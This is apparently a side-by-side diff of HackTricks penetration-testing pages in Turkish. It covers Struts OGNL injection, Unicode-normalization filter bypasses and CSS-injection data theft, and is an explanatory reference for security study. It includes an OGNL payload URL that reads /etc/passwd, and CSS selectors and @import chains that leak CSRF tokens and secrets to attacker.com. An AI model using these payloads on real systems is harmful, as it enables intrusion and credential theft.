https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
``` ```
@ -243,29 +229,17 @@ Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt) * [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **karanlık ağ** tarafından desteklenen bir arama motorudur ve bir şirketin veya müşterilerinin **çalıntı kötü amaçlı yazılımlar** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunar.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>HackTricks'i Destekleyin</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,37 +15,23 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **karanlık ağ** destekli bir arama motorudur ve bir şirketin veya müşterilerinin **tehdit altına alınıp alınmadığını** kontrol etmek için **ücretsiz** işlevler sunar.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
**Bu, şunun bir özetidir:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Daha fazla ayrıntı için göz atın (görüntüler oradan alınmıştır). **Bu, şunun bir özetidir:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Daha fazla ayrıntı için göz atın (görüntüler oradan alınmıştır).
## Understanding Unicode and Normalization ## Unicode ve Normalizasyonu Anlamak
Unicode normalizasyonu, karakterlerin farklı ikili temsillerinin aynı ikili değere standartlaştırılmasını sağlayan bir süreçtir. Bu süreç, programlama ve veri işleme sırasında dizelerle başa çıkmak için kritik öneme sahiptir. Unicode standardı, iki tür karakter eşdeğerliliği tanımlar: Unicode normalizasyonu, karakterlerin farklı ikili temsillerinin aynı ikili değere standartlaştırılmasını sağlayan bir süreçtir. Bu süreç, programlama ve veri işleme sırasında dizelerle çalışırken kritik öneme sahiptir. Unicode standardı, iki tür karakter eşdeğerliliği tanımlar:
1. **Kanonik Eşdeğerlilik**: Karakterler, yazıldığında veya görüntülendiğinde aynı görünüme ve anlama sahip olduklarında kanonik olarak eşdeğer kabul edilir. 1. **Kanonik Eşdeğerlilik**: Karakterler, yazıldığında veya görüntülendiğinde aynı görünüme ve anlama sahip olduklarında kanonik olarak eşdeğer kabul edilir.
2. **Uyumluluk Eşdeğerliliği**: Karakterlerin aynı soyut karakteri temsil edebileceği ancak farklı şekilde görüntülenebileceği daha zayıf bir eşdeğerlilik biçimidir. 2. **Uyumluluk Eşdeğerliliği**: Karakterlerin aynı soyut karakteri temsil edebileceği, ancak farklı şekilde görüntülenebileceği daha zayıf bir eşdeğerlilik biçimidir.
**Dört Unicode normalizasyon algoritması** vardır: NFC, NFD, NFKC ve NFKD. Her algoritma, kanonik ve uyumluluk normalizasyon tekniklerini farklı şekillerde kullanır. Daha derin bir anlayış için bu teknikleri [Unicode.org](https://unicode.org/) adresinde keşfedebilirsiniz. **Dört Unicode normalizasyon algoritması** vardır: NFC, NFD, NFKC ve NFKD. Her algoritma, kanonik ve uyumluluk normalizasyon tekniklerini farklı şekillerde kullanır. Daha derin bir anlayış için bu teknikleri [Unicode.org](https://unicode.org/) adresinde keşfedebilirsiniz.
### Key Points on Unicode Encoding ### Unicode Kodlama Üzerine Ana Noktalar
Unicode kodlamasını anlamak, özellikle farklı sistemler veya diller arasında birlikte çalışabilirlik sorunlarıyla başa çıkarken çok önemlidir. İşte ana noktalar: Unicode kodlamasını anlamak, özellikle farklı sistemler veya diller arasında birlikte çalışabilirlik sorunlarıyla uğraşırken çok önemlidir. İşte ana noktalar:
* **Kod Noktaları ve Karakterler**: Unicode'da her karakter veya sembol, "kod noktası" olarak bilinen bir sayısal değere atanır. * **Kod Noktaları ve Karakterler**: Unicode'da, her karakter veya sembole "kod noktası" olarak bilinen bir sayısal değer atanır.
* **Bayt Temsili**: Kod noktası (veya karakter), bellekte bir veya daha fazla baytla temsil edilir. Örneğin, LATIN-1 karakterleri (İngilizce konuşulan ülkelerde yaygın) bir bayt kullanılarak temsil edilir. Ancak, daha büyük bir karakter setine sahip diller, temsil için daha fazla bayta ihtiyaç duyar. * **Bayt Temsili**: Kod noktası (veya karakter), bellekte bir veya daha fazla bayt ile temsil edilir. Örneğin, LATIN-1 karakterleri (İngilizce konuşulan ülkelerde yaygın) bir bayt kullanılarak temsil edilir. Ancak, daha büyük bir karakter setine sahip diller, temsil için daha fazla bayta ihtiyaç duyar.
* **Kodlama**: Bu terim, karakterlerin bir dizi bayta nasıl dönüştürüldüğünü ifade eder. UTF-8, ASCII karakterlerinin bir bayt kullanılarak ve diğer karakterler için dört bayta kadar temsil edildiği yaygın bir kodlama standardıdır. * **Kodlama**: Bu terim, karakterlerin bir dizi bayta nasıl dönüştürüldüğünü ifade eder. UTF-8, ASCII karakterlerinin bir bayt kullanılarak ve diğer karakterler için dört bayta kadar temsil edildiği yaygın bir kodlama standardıdır.
* **Veri İşleme**: Veri işleyen sistemler, bayt akışını karakterlere doğru bir şekilde dönüştürmek için kullanılan kodlamanın farkında olmalıdır. * **Veri İşleme**: Veri işleyen sistemler, bayt akışını karakterlere doğru bir şekilde dönüştürmek için kullanılan kodlamanın farkında olmalıdır.
* **UTF Varyantları**: UTF-8 dışında, en az 2 bayt (maksimum 4) kullanan UTF-16 ve tüm karakterler için 4 bayt kullanan UTF-32 gibi diğer kodlama standartları da vardır. * **UTF Varyantları**: UTF-8 dışında, en az 2 bayt (maksimum 4) kullanan UTF-16 ve tüm karakterler için 4 bayt kullanan UTF-32 gibi diğer kodlama standartları da vardır.
@ -70,7 +56,7 @@ Diğer **örnek**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D
Kullanıcı girdisi ile SQL sorguları oluşturmak için `'` karakterini kullanan bir web sayfasını hayal edin. Bu web, bir güvenlik önlemi olarak, kullanıcı girdisinden **`'`** karakterinin tüm örneklerini **silmekte**, ancak **bu silme işleminden sonra** ve **sorgunun oluşturulmasından önce**, kullanıcının girdisini **Unicode** kullanarak **normalleştirmektedir**. Kullanıcı girdisi ile SQL sorguları oluşturmak için `'` karakterini kullanan bir web sayfasını hayal edin. Bu web, bir güvenlik önlemi olarak, kullanıcı girdisinden **`'`** karakterinin tüm örneklerini **silmekte**, ancak **bu silme işleminden sonra** ve **sorgunun oluşturulmasından önce**, kullanıcının girdisini **Unicode** kullanarak **normalleştirmektedir**.
Sonrasında, kötü niyetli bir kullanıcı, `' (0x27)` karakterine eşdeğer farklı bir Unicode karakteri olan `%ef%bc%87` ekleyebilir; girdinin normalleştirilmesiyle birlikte bir tek tırnak oluşturulur ve bir **SQLInjection zafiyeti** ortaya çıkar: Bu durumda, kötü niyetli bir kullanıcı, `' (0x27)` karakterine eşdeğer farklı bir Unicode karakteri olan `%ef%bc%87` ekleyebilir; girdinin normalleştirilmesi sırasında bir tek tırnak oluşturulur ve bir **SQLInjection zafiyeti** ortaya çıkar:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (702).png>) ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (702).png>)
@ -116,9 +102,9 @@ Web uygulamasını kandırmak ve bir XSS istismar etmek için aşağıdaki karak
### Fuzzing Regexes ### Fuzzing Regexes
Arka uç **kullanıcı girişini bir regex ile kontrol ediyorsa**, **girişin** **regex** için **normalize** ediliyor olması ama **kullanıldığı yer için** **değil** olması mümkün olabilir. Örneğin, bir Open Redirect veya SSRF'de regex, gönderilen URL'yi **normalize** ediyor olabilir ama sonra **olduğu gibi** erişiyor olabilir. Arka uç **kullanıcı girişini bir regex ile kontrol ediyorsa**, **girişin** **regex** için **normalize** ediliyor olması ama **kullanıldığı yer için** **değil** olması mümkün olabilir. Örneğin, bir Open Redirect veya SSRF'de regex, gönderilen URL'yi **normalize** ediyor olabilir ama sonra **olduğu gibi** **erişiyor** olabilir.
[**recollapse**](https://github.com/0xacb/recollapse) aracı, arka ucu fuzzlamak için **girişin varyasyonlarını** **üretmeyi** sağlar. Daha fazla bilgi için **github** ve bu [**gönderiyi**](https://0xacb.com/2022/11/21/recollapse/) kontrol edin. Araç [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* arka ucu fuzzlamak için **girişin varyasyonlarını** **üretmeye** olanak tanır. Daha fazla bilgi için **github** ve bu [**gönderiyi**](https://0xacb.com/2022/11/21/recollapse/) kontrol edin.
## Referanslar ## Referanslar
@ -126,21 +112,9 @@ Arka uç **kullanıcı girişini bir regex ile kontrol ediyorsa**, **girişin**
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work) * [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html) * [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit edildiğini** kontrol etmek için **ücretsiz** işlevsellikler sunan bir **dark-web** destekli arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -148,7 +122,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.** * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -9,19 +9,12 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## CSS Injection ## CSS Injection
@ -40,11 +33,11 @@ input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9); background-image: url(https://attacker.com/exfil/9);
} }
``` ```
Ancak, bu yaklaşım gizli giriş elemanları (`type="hidden"`) ile çalışırken bir sınıra sahiptir çünkü gizli elemanlar arka planları yüklemez. Ancak, bu yaklaşım gizli giriş öğeleri (`type="hidden"`) ile çalışırken bir sınıra sahiptir çünkü gizli öğeler arka planları yüklemez.
#### Gizli Elemanlar için Aşma #### Gizli Öğeler için Aşma
Bu sınırlamayı aşmak için, `~` genel kardeş kombinatörünü kullanarak bir sonraki kardeş elemanı hedefleyebilirsiniz. CSS kuralı, gizli giriş elemanını takip eden tüm kardeşlere uygulanır ve arka plan resminin yüklenmesine neden olur: Bu sınırlamayı aşmak için, `~` genel kardeş kombinatörünü kullanarak bir sonraki kardeş öğeyi hedefleyebilirsiniz. CSS kuralı, gizli giriş öğesini takip eden tüm kardeşlere uygulanır ve arka plan resmi yüklenir:
```css ```css
input[name=csrf][value^=csrF] ~ * { input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF); background-image: url(https://attacker.com/exfil/csrF);
@ -58,7 +51,7 @@ CSS Enjeksiyonu tekniğinin etkili olabilmesi için belirli koşulların sağlan
1. **Yük Uzunluğu**: CSS enjeksiyon vektörü, oluşturulmuş seçicileri barındıracak kadar uzun yükleri desteklemelidir. 1. **Yük Uzunluğu**: CSS enjeksiyon vektörü, oluşturulmuş seçicileri barındıracak kadar uzun yükleri desteklemelidir.
2. **CSS Yeniden Değerlendirmesi**: Sayfayı çerçeveleme yeteneğine sahip olmalısınız; bu, yeni oluşturulmuş yüklerle CSS'nin yeniden değerlendirilmesini tetiklemek için gereklidir. 2. **CSS Yeniden Değerlendirmesi**: Sayfayı çerçeveleme yeteneğine sahip olmalısınız; bu, yeni oluşturulmuş yüklerle CSS'nin yeniden değerlendirilmesini tetiklemek için gereklidir.
3. **Harici Kaynaklar**: Teknik, harici olarak barındırılan resimleri kullanma yeteneğini varsayar. Bu, sitenin İçerik Güvenlik Politikası (CSP) tarafından kısıtlanabilir. 3. **Dış Kaynaklar**: Teknik, dışarıda barındırılan resimleri kullanma yeteneğini varsayar. Bu, sitenin İçerik Güvenlik Politikası (CSP) tarafından kısıtlanabilir.
### Kör Özellik Seçici ### Kör Özellik Seçici
@ -73,26 +66,26 @@ background:url(/m);
<input name=mytoken value=1337> <input name=mytoken value=1337>
<input name=myname value=gareth> <input name=myname value=gareth>
``` ```
Bunu aşağıdaki **@import** tekniği ile birleştirerek, **gözlemci sayfalardan CSS enjeksiyonu kullanarak çok fazla bilgi sızdırmak** mümkündür [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.** Bunu aşağıdaki **@import** tekniği ile birleştirerek, **gözlemci sayfalardan CSS enjeksiyonu kullanarak çok fazla bilgi sızdırmak** mümkün [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import ### @import
Önceki tekniğin bazı dezavantajları vardır, ön koşulları kontrol edin. Ya **kurbanın birden fazla bağlantı alabilmesi** gerekir ya da **CSS enjeksiyonu zafiyeti olan sayfayı iframe'leyebilmeniz** gerekir. Önceki tekniğin bazı dezavantajları vardır, ön koşulları kontrol edin. Ya **kurbanın birden fazla bağlantı alabilmesi** gerekir, ya da **CSS enjeksiyonu zafiyeti olan sayfayı iframe'leyebilmeniz** gerekir.
Ancak, tekniğin kalitesini artırmak için **CSS `@import`** kullanan başka bir akıllı teknik vardır. Ancak, tekniğin kalitesini artırmak için **CSS `@import`** kullanan başka bir akıllı teknik vardır.
Bu ilk olarak [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) tarafından gösterilmiştir ve şöyle çalışır: Bu ilk olarak [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) tarafından gösterildi ve şöyle çalışır:
Her seferinde on farklı yük ile aynı sayfayı tekrar tekrar yüklemek yerine (öncekinde olduğu gibi), **sayfayı sadece bir kez ve sadece saldırganın sunucusuna bir import ile yükleyeceğiz** (bu, kurbana gönderilecek yük): Her seferinde on farklı yük ile aynı sayfayı tekrar tekrar yüklemek yerine (öncekinde olduğu gibi), **sayfayı sadece bir kez ve sadece saldırganın sunucusuna bir import ile yükleyeceğiz** (bu, kurbana gönderilecek yük):
```css ```css
@import url('//attacker.com:5001/start?'); @import url('//attacker.com:5001/start?');
``` ```
1. İthalat, **saldırganlardan bazı CSS scriptleri alacak** ve **tarayıcı bunu yükleyecek**. 1. İthalat, **saldırganlardan bazı CSS scriptleri alacak** ve **tarayıcı bunu yükleyecek**.
2. Saldırganın göndereceği CSS scriptinin ilk kısmı, **saldırganların sunucusuna başka bir `@import` olacak.** 2. Saldırganın göndereceği CSS scriptinin ilk kısmı, **saldırganın sunucusuna tekrar başka bir `@import` olacak.**
1. Saldırganların sunucusu bu isteğe henüz yanıt vermeyecek, çünkü bazı karakterleri sızdırmak istiyoruz ve ardından bu ithalatı, sonraki karakterleri sızdırmak için yük ile yanıtlayacağız. 1. Saldırganın sunucusu bu isteğe henüz yanıt vermeyecek, çünkü bazı karakterleri sızdırmak istiyoruz ve ardından bu ithalatı, sonraki karakterleri sızdırmak için yük ile yanıtlayacağız.
3. Yükün ikinci ve daha büyük kısmı, **bir nitelik seçici sızıntı yükü** olacak. 3. Yükün ikinci ve daha büyük kısmı, **bir nitelik seçici sızıntı yükü** olacak.
1. Bu, saldırganların sunucusuna **sırrın ilk ve son karakterini** gönderecek. 1. Bu, saldırganın sunucusuna **sırrın ilk karakterini ve son karakterini** gönderecek.
4. Saldırganların sunucusu, **sırrın ilk ve son karakterini** aldıktan sonra, **adım 2'de talep edilen ithalata yanıt verecek**. 4. Saldırganın sunucusu **sırrın ilk ve son karakterini** aldıktan sonra, **adım 2'de talep edilen ithalata yanıt verecek**.
1. Yanıt, **adım 2, 3 ve 4'tekiyle** tam olarak aynı olacak, ancak bu sefer **sırrın ikinci karakterini ve ardından sondan bir önceki karakteri bulmaya çalışacak**. 1. Yanıt, **adım 2, 3 ve 4'tekiyle** tam olarak aynı olacak, ancak bu sefer **sırrın ikinci karakterini ve ardından sondan bir önceki karakteri bulmaya çalışacak**.
Saldırgan, **sırrı tamamen sızdırana kadar bu döngüyü takip edecek**. Saldırgan, **sırrı tamamen sızdırana kadar bu döngüyü takip edecek**.
@ -100,7 +93,7 @@ Saldırgan, **sırrı tamamen sızdırana kadar bu döngüyü takip edecek**.
Orijinal [**Pepe Vila'nın bunu istismar etmek için kodunu burada bulabilirsiniz**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) veya neredeyse [**aynı kodu ama yorumlu burada bulabilirsiniz**.](./#css-injection) Orijinal [**Pepe Vila'nın bunu istismar etmek için kodunu burada bulabilirsiniz**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) veya neredeyse [**aynı kodu ama yorumlu burada bulabilirsiniz**.](./#css-injection)
{% hint style="info" %} {% hint style="info" %}
Script, her seferinde 2 karakter keşfetmeye çalışacak (başlangıçtan ve sondan) çünkü nitelik seçici, şunları yapmaya izin verir: Script, her seferinde 2 karakter keşfetmeye çalışacak (başlangıçtan ve sondan) çünkü nitelik seçici, şunları yapmaya izin veriyor:
```css ```css
/* value^= to match the beggining of the value*/ /* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)} input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
@ -108,12 +101,12 @@ input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/ /* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)} input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
``` ```
Bu, scriptin sırrı daha hızlı sızdırmasına olanak tanır. Bu, scriptin sırrı daha hızlı sızdırmasına olanak tanır.
{% endhint %} {% endhint %}
{% hint style="warning" %} {% hint style="warning" %}
Bazen script **önek + sonek'in zaten tam bayrak olduğunu doğru bir şekilde tespit edemez** ve ileri (önek içinde) ve geri (sonek içinde) devam eder ve bir noktada takılır.\ Bazen script **önek + sonek'in zaten tam bayrak olduğunu doğru bir şekilde tespit etmez** ve ileri (önek içinde) ve geri (sonek içinde) devam eder ve bir noktada takılır.\
Endişelenmeyin, sadece **çıktıyı** kontrol edin çünkü **orada bayrağı görebilirsiniz**. Endişelenmeyin, sadece **çıktıyı** kontrol edin çünkü **orada bayrağı görebilirsiniz**.
{% endhint %} {% endhint %}
### Diğer seçiciler ### Diğer seçiciler
@ -131,7 +124,7 @@ Endişelenmeyin, sadece **çıktıyı** kontrol edin çünkü **orada bayrağı
**Referans:** [CSS tabanlı Saldırı: @font-face'in unicode-range'ini kötüye kullanma](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Hata Tabanlı XS-Search PoC @terjanq tarafından](https://twitter.com/terjanq/status/1180477124861407234) **Referans:** [CSS tabanlı Saldırı: @font-face'in unicode-range'ini kötüye kullanma](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Hata Tabanlı XS-Search PoC @terjanq tarafından](https://twitter.com/terjanq/status/1180477124861407234)
Genel amaç, **kontrol edilen bir uç noktadan özel bir yazı tipi kullanmak** ve **metnin (bu durumda, 'A') yalnızca belirtilen kaynak (`favicon.ico`) yüklenemezse bu yazı tipi ile görüntülenmesini sağlamaktır**. Genel amaç, **kontrol edilen bir uç noktadan özel bir font kullanmak** ve **metnin (bu durumda, 'A') yalnızca belirtilen kaynak (`favicon.ico`) yüklenemediğinde bu fontla görüntülenmesini sağlamak**tır.
```html ```html
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
@ -164,13 +157,13 @@ font-family: 'poc';
- `<body>` bölümünde `id="poc0"` olan bir `<object>` elemanı oluşturulur. Bu eleman, `http://192.168.0.1/favicon.ico` adresinden bir kaynak yüklemeye çalışır. - `<body>` bölümünde `id="poc0"` olan bir `<object>` elemanı oluşturulur. Bu eleman, `http://192.168.0.1/favicon.ico` adresinden bir kaynak yüklemeye çalışır.
- Bu eleman için `font-family`, `<style>` bölümünde tanımlandığı gibi `'poc'` olarak ayarlanmıştır. - Bu eleman için `font-family`, `<style>` bölümünde tanımlandığı gibi `'poc'` olarak ayarlanmıştır.
- Eğer kaynak (`favicon.ico`) yüklenemezse, `<object>` etiketinin içindeki yedek içerik (harf 'A') görüntülenir. - Eğer kaynak (`favicon.ico`) yüklenemezse, `<object>` etiketinin içindeki yedek içerik (harf 'A') görüntülenir.
- Harf 'A' dış kaynak yüklenemezse özel yazı tipi `poc` kullanılarak render edilecektir. - Harf 'A', harici kaynak yüklenemezse özel yazı tipi `poc` kullanılarak render edilecektir.
### Kaydırma ile Metin Parçasını Stilize Etme ### Kaydırma ile Metin Parçasını Stil Verme
